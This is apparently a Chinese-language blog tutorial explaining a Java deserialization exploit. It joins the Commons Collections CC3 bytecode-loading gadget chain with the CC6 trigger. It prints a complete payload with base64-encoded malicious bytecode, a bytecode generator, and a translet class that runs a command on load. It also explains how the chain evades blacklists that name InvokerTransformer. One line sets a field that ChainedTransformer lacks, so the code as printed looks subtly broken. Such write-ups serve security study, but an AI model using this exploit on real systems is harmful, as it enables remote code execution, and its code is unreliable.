环境:jdk8u65;commons-collections3.2
影响版本:原本的cc3是通过cc1两条链也就是AnnotationInvocationHandler.readObject方法触发的,但jdk8u71修改了AnnotationInvocationHandler.readObject方法逻辑,导致cc1无法利用。可以使用cc6、cc5、cc7三条不会被jdk版本影响的链子,本文使用cc6去改造cc3,改造后的cc3就没有版本限制了。
说明:斜体字体都是P神写的《java安全漫谈》copy来的
payload
package commonscollections3;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC6plusCC3 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABVDYWxjVGVtcGxhdGVJbXBsLmphdmEMAA4ADwcAHAwAHQAeAQAIY2FsYy5leGUMAB8AIAEAI0J5dGVzQ29kZUdlbmVyYXRvci9DYWxjVGVtcGxhdGVJbXBsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAMAAsAAAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgALAAAABAABAAwAAQAOAA8AAgAJAAAALgACAAEAAAAOKrcAAbgAAhIDtgAEV7EAAAABAAoAAAAOAAMAAAAQAAQAEQANABIACwAAAAQAAQAQAAEAEQAAAAIAEg==");
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { obj })
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();
setFieldValue(chainedTransformer, "iMethodName", "newTransformer");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("obj.ser"));
out.writeObject(expMap);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("obj.ser"));
in.readObject();
in.close();
}
}
cc3和之前的链有所不同,之前的利用链最终都是利用恶意transformer来构造Runtime.getRuntime().exec()执行命令,cc3是利用TemplateImpl类中的内部类TransletClassLoader加载字节码
ClassLoader加载字节码这类知识本文就不仔细介绍了,在之后的fastjson也会利用到,感兴趣的师傅可以去看看P神的java安全漫谈。
字节码加载大概意思就是通过defineClass,将一段字节流转变成一个Java类并执行,那如何生成上述的字节码呢,其实就是读取.java文件编译后的.class文件内的字节内容。同时为了可以打印输出,进行base64编码。
以下是生成java字节码的代码,修改文件路径即可获取对应java文件的字节码。
package BytesCodeGenerator;
import javax.tools.JavaCompiler;
import javax.tools.ToolProvider;
import java.io.*;
import java.nio.file.Files;
import java.util.Base64;
public class Generator {
public static String byteCodes(String javaFilePath) throws Exception {
JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
compiler.run(null, null, null, javaFilePath);
String classFilePath = javaFilePath.replace(".java", ".class");
byte[] classBytes = Files.readAllBytes(new File(classFilePath).toPath());
return Base64.getEncoder().encodeToString(classBytes);
}
public static void main(String[] args) throws Exception {
String codes = byteCodes(".\\src\\main\\java\\BytesCodeGenerator\\CalcTemplatesImpl.java");
System.out.println(codes);
}
}
另外,值得注意的是, TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。
所以,我们需要构造一个特殊的类:
package BytesCodeGenerator;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class CalcTemplatesImpl extends AbstractTranslet {
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
public CalcTemplatesImpl() throws IOException {
super();
java.lang.Runtime.getRuntime().exec("calc.exe");
}
}
TransletClassLoader.defineClass()
TransletClassLoader是TemplatesImpl类的一个内部类,该类的defineClass方法调用了ClassLoader.defineClass方法。
defineClass这里没有显式地声明其定义域。Java中默认情况下,如果一个 方法没有显式声明作用域,其作用域为default。所以也就是说这里的 defineClass 由其父类的 protected类型变成了一个default类型的方法,可以被类外部调用。
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;
TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}
TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
TemplatesImpl.defineTransletClasses()
TemplatesImpl类中的defineTransletClasses()方法new了一个TransletClassLoader对象,并且调用了defineClass()方法,此处的_bytecodes是TemplatesImpl类中的一个字段值。注意这里需要初始化_bytecodes的值
TemplatesImpl.getTransletInstance()
该方法调用了defineTransletClasses()方法,注意这里的_name不能等于null
TemplatesImpl.newTransformer()
该方法调用了getTransletInstance()方法
必要的字段设置
到这里TemplatesImpl类的任务就完成了,payload中还有一些疑问,就是这些字段为什么需要赋值
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
- 将我们的恶意字节码赋值给到_bytecodes,在TransletClassLoader.defineClass()方法中会调用
- _name不为空即可,不然在TemplatesImpl.getTransletInstance()逻辑中会走到第一个if,不会调用defineTransletClasses()方法
- _tfactory 需要是一个 TransformerFactoryImpl 对象,因为 TemplatesImpl#defineTransletClasses() 方法里有调用到 _tfactory.getExternalExtensionsMap() ,如果是null会出错。
接下来就只需找到谁能够调用TemplatesImpl.newTransformer()方法了
TrAXFilter.TrAXFilter()
本文改造后的cc3不再使用cc1中的invokeTransformer.transform()方法去触发TemplatesImpl.newTransformer(),因为许多java反序列化过滤器黑名单中含有invokeTransformer。为了绕过,可以使用com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter类。
可以看到该构造方法调用了newTransformer()方法
InstantiateTransformer.transform()
后续我们可以通过InstantiateTransformer.transform()方法反射调用TrAXFilter的构造方法
通过InstantiateTransformer()构造方法传入要调用的构造函数的参数类型和参数
接下来寻找谁能调用InstantiateTransformer.transform(),熟悉cc1的师傅应该能反应过来,直接使用ChainedTransformer类的transform方法就行。
ChainedTransformer.transform()
new transformers数组,包含ConstantTransformer和InstantiateTransformer两个对象。ConstantTransformer对象在cc1提到过,其transform方法只是返回构造函数传入的对象。InstantiateTransformer对象负责调用TrAXFilter的构造方法。
将transformers数组传入ChainedTransformer构造方法,for循环调用transform方法,这点也在cc1讲过了
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { obj })
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
接下来就和cc6相同了,….TiedMapEntry.getValue()—LazyMap.get()—ChainedTransformer.transform()
gadget
HashMap.readObject()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InstantiateTransformer.transform()
TrAXFilter.TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()